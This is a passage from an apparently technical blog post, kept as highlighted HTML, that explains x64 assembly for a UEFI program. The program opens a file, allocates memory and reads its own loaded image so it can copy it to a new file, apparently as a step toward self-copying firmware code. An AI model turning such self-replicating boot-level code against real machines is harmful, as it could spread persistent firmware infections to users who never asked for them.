&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; [rbp-0x60] gEfiSimpleFileSystemProtocolGuid&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span> &lt;span class="c1">; rdx = *gEfiSimpleFileSystemProtocolGuid&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">; Note that rcx is already set from earlier code&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">EFI_SYSTEM_TABLE_BootServices_o&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_BOOT_SERVICES_HandleProtocol&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span> &lt;span class="c1">; Call EFI_BOOT_SERVICES::HandleProtocol()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Now that there is a file system interface in rdx, we can try to open the file we want to copy. Looking back at the TestFileIo.c file, the &lt;code>TestRead()&lt;/code> function shows ways of reading files from the Root pointer.&lt;/p>
&lt;p>This snippet looks like generally what I need. It has flags to specify what mode to open the file in like other operating systems, and the arguments seem easy to set up. The only thing I need to really change here is that I don&amp;rsquo;t need to create the file since it already exists. This code snippet comes from after a directory was opened, but the logic is the same on the file system root.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">ReadMe&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">EfiDirectory&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="nf">Open&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EfiDirectory&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// This (points to directory)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">ReadMe&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// file handle
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">CHAR16&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;readme.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// filename
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">EFI_FILE_MODE_CREATE&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">EFI_FILE_MODE_READ&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">EFI_FILE_MODE_WRITE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// mode
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">// attributes
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ReadMe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="nf">Close&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ReadMe&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This is the &lt;a href="https://uefi.org/specs/UEFI/2.10/13_Protocols_Media_Access.html#efi-file-protocol-open">Open&lt;/a> function prototype:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_FILE_OPEN&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">This&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">OUT&lt;/span> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">NewHandle&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">CHAR16&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">FileName&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// r8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">UINT64&lt;/span> &lt;span class="n">OpenMode&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// r9
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">UINT64&lt;/span> &lt;span class="n">Attributes&lt;/span> &lt;span class="c1">// Stack
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The OpenMode and Attributes flags are defined &lt;a href="https://github.com/tianocore/edk2/blob/master/MdePkg/Include/Protocol/SimpleFileSystem.h#L124">here&lt;/a>&lt;/p>
&lt;p>The resulting implementation looks like this in assembly. Since we aren&amp;rsquo;t creating a file, it doesn&amp;rsquo;t need the Attributes argument.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">OpenOriginalFile:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="c1">; rax = OpenMode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x61005c&lt;/span> &lt;span class="c1">; &amp;#34;\a&amp;#34; - Our file name&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nv">r8&lt;/span> &lt;span class="c1">; [rbp-0x70] CurrentFileName&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span> &lt;span class="c1">; R8 = *CurrentFileName&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; rdx = 0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; [rbp-0x78] OriginalFileHandle&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span> &lt;span class="c1">; rdx = **NewHandle&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rcx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">DeviceFSRoot_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rcx = EFI_FILE_PROTOCOL::Root&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rcx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_FILE_PROTOCOL_Open&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rax = EFI_FILE_PROTOCOL::Open&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>I got both FileOpen and FileClose working for the original file. Now I need to read it somewhere into memory to copy to the new file.&lt;/p>
&lt;h3 id="reading-the-file-into-memory">Reading The File Into Memory&lt;/h3>
&lt;p>Before you can write the file, you need to read it into memory. To do that, you need to first allocate some memory.&lt;/p>
&lt;p>The BootServices functions to allocate memory are fairly straightforward. AllocatePool allocates a chunk of memory, and FreePool frees it after use.&lt;/p>
&lt;p>&lt;a href="https://uefi.org/specs/UEFI/2.10/07_Services_Boot_Services.html#efi-boot-services-allocatepool">AllocatePool&lt;/a> prototype&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_ALLOCATE_POOL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_MEMORY_TYPE&lt;/span> &lt;span class="n">PoolType&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">UINTN&lt;/span> &lt;span class="n">Size&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">OUT&lt;/span> &lt;span class="n">VOID&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">Buffer&lt;/span> &lt;span class="c1">// r8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>My implementation:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">AllocatePool:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span> &lt;span class="c1">; r8 = **Buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">ImageSize_o&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nb">rcx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rcx&lt;/span> &lt;span class="c1">; EFI_MEMORY_TYPE PoolType = EfiReservedMemoryType&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">EFI_SYSTEM_TABLE_BootServices_o&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_BOOT_SERVICES_AllocatePool&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span> &lt;span class="c1">; Call EFI_BOOT_SERVICES::AllocatePool()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;a href="https://uefi.org/specs/UEFI/2.9_A/07_Services_Boot_Services.html#efi-boot-services-freepool">FreePool&lt;/a> prototype&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_FREE_POOL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">VOID&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">Buffer&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>My implementation:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">FreePool:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rcx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">Al&lt;/span>&lt;span class="nv">locatePoolBuffer_o&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">EFI_SYSTEM_TABLE_BootServices_o&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">EFI_BOOT_SERVICES_FreePool&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span> &lt;span class="c1">; Call EFI_BOOT_SERVICES::FreePool()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>To actually read the file contents into this chunk, you need to use the &lt;code>EFI_FILE_READ&lt;/code> function&lt;/p>
&lt;p>&lt;a href="https://uefi.org/specs/UEFI/2.10/13_Protocols_Media_Access.html#efi-file-protocol-read">Read&lt;/a> prototype:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_FILE_READ&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">This&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">OUT&lt;/span> &lt;span class="n">UINTN&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">BufferSize&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">OUT&lt;/span> &lt;span class="n">VOID&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">Buffer&lt;/span> &lt;span class="c1">// r8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>My implementation&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">ReadOriginalFile:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">Al&lt;/span>&lt;span class="nv">locatePoolBuffer_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; r8 = *Buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">;mov rdx, [rbp-ImageSize_o] ; rdx = BufferSize ; This one didn&amp;#39;t work!!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">lea&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">ImageSize_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rdx = *BufferSize&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rcx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rbp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nv">OriginalFileHandle_o&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1">; rcx = *This&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rcx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rax&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">rax&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="nv">EFI_FILE_PROTOCOL_Read&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">call&lt;/span> &lt;span class="nb">rax&lt;/span> &lt;span class="c1">; Call EFI_FILE_PROTOCOL::Read()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>To get the &lt;code>BufferSize&lt;/code> variable that represents how much data you want to read, you need to get the size of the whole loaded image. Rather than trying to type it manually as the size of the image changes, it was easier to resolve it using the &lt;a href="https://uefi.org/specs/UEFI/2.10/09_Protocols_EFI_Loaded_Image.html#id3">LoadedImage Protocol&lt;/a>. The way to access this protocol is the same as when we set up SimpleFileSystem Protocol, so I just reused the code and replaced it with the GUID for LoadedImage Protocol.&lt;/p>
&lt;p>Something that I missed the first time around, is that the &lt;code>BufferSize&lt;/code> is both an IN and an OUT in the prototype. From the docs:&lt;/p>
&lt;blockquote>
&lt;p>On input, the size of the Buffer. On output, the amount of data returned in Buffer. In both cases, the size is measured in bytes.&lt;/p>
&lt;/blockquote>
&lt;p>I had mistakenly thought &lt;code>BufferSize&lt;/code> was just a value to pass to the function in rdx, but it actually needs to be a pointer because it&amp;rsquo;s used as output. When you pass a value in rdx instead of a reference, the call to Read() still returns with a 0 in rax, indicating EFI_SUCCESS.&lt;/p>
&lt;p>The docs say that this means that the data was read, but it doesn&amp;rsquo;t actually mean that. The call will silently fail, and your buffer will point to uninitialized data instead. When I was originally working on this part, I didn&amp;rsquo;t realize that my buffer was full of junk data. It was only when I tried to write it to a new image that I realized something was wrong, but it was hard to know where exactly my code had failed until I read the spec for every API I was calling and documented all the function prototypes for each.&lt;/p>
&lt;h3 id="writing-data-to-a-new-file">Writing Data To A New File&lt;/h3>
